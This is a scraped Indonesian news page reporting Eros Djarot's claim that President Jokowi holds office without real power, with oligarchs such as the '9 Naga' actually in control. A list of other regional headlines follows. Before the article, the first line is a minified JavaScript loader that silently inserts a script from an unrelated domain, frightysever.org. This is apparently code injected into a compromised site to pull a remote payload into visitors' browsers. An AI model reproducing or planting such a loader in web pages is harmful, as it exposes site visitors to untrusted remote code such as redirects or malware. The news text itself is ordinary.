(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Singgung 9 Naga, Eros Djarot: Jokowi Penguasa Tapi Tidak Berkuasa


KANALKALIMANTAN.COM, JAKARTA – Budayawan Eros Djarot mengkritisi kepemimpinan Presiden Joko Widodo (Jokowi) yang dianggap tidak punya kuasa.

Dalam dialog bersama Zulfan Lindan di YouTube Unpacking Indonesia, Eros Djarot mengaku tahu siapa orang lebih berkuasa dari Jokowi sebagai presiden.

Eros Djarot mengatakan, kekuasaan yang dibangun ketika Indonesia didirikan adalah membuat peradaban sesuai amanat konstitusi bukan perbiadaban.

“Rupanya banyak teman yang salah baca membangun perbiadaban. Jadi inilah yang terjadi. Jadi saya bilang ga bisa lanjut ini kita harus setop apapun cost nya akan saya bayar untuk melawan perbiadaban ini,” ucap Eros.

 

Baca juga  : SDN 5 Sungai Besar Lepas 46 Peserta Didik, Kepsek Ingatkan Karakter Akhlakulkarimah

Menurut Eros, perbiadaban politik saat ini sangat luar biasa dimana kemunafikan dibangun, keserakahan dipelihara, kerakusan ketamakan jadi budaya yang penting berkuasa.

“Orang berkuasa ga menguasai apa-apa, inilah kejadian sekarang ini. Apa dikira Pak Jokowi itu menguasai? Ga lah, bohong itu. Yang berkuasa saya tahu siapa, ga tahu tanya saya,” kata Eros.
“Nah itu siapa mas?” tanya Zulfan.

“Siapa lagi kalo bukan doi-doi, yang dulu-dulu juga. Sudahlah jangan main sandiwara,” kata Eros Djarot.
Sistem politik yang dianut Indonesia saat ini menurut Eros Djarot tidak akan melahirkan para negarawan.

“Lihat saja sistem pemilu yang sekarang ada. Lihat saja para bupati dan gubernur yang dipilih, apa dengan cara ini mampu melahirkan itu (negarawan). Anda harus bawa uang sekarung kok. Bahkan ratusan ribuan karung ya,” ucapnya.

 

Baca juga  : Upaya DP3AP2KB Tanbu Terus Menekan Stunting

Menurut Eros, pola-pola seperti itu tidak akan melahirkan negarawan karena ketika seseorang dapat jabatan yang dipikirkan berapa yang harus dia kembalikan modalnya pada saat dia kampanye.
Kata Eros, sistem politik saat ini menjuruskan kepada oligarki karena mereka yang membayari semua itu.

“Katakanlah kata-kata masih di awang-awang kelabu, naga 9. Bagi yang ga tahu emang kelabu tapi dalam realita politik, mereka cukong abadi. Diabadikan oleh sistem politik yang kita sepakati,” terang Eros.

Karena itu kata Eros, masyarakat Indonesia jangan bermimpi menjadi tuan besar di rumahnya sendiri jika sistemnya masih seperti ini.

“Siap-siap saja kita jadi jongos besar ga pernah kita jadi tuan besar. Jangan mimpi lah. Kita di sini cuma numpang aja, the real owner ya mereka,” papar Eros Djarot. (Suara.com)

Editor : kk


Desy Arfianty

Recent Posts

Pemerintah Kabupaten Banjar Gelar Sosialisasi Core Values ASN BerAKHLAK

KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More

13 jam ago

Launching Calendar of Event 2025, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More

13 jam ago

Koordinator Posko Tim Banjarbaru Hanyar Diancam Dihabisi, Dikirimi Dua Surat Kaleng

KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More

13 jam ago

KPU Banjarbaru Siap Hadapi Gugatan MK

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More

18 jam ago

Original Series V+ PayLater: Amanda Manopo Terjerat Hutang Pinjaman Online Puluhan Juta

KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More

21 jam ago

Sowan ke Bakti Kementerian Komdigi, Komisi II dan Diskominfo Kotabaru Perjuangkan Akses Internet

KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More

21 jam ago

This website uses cookies.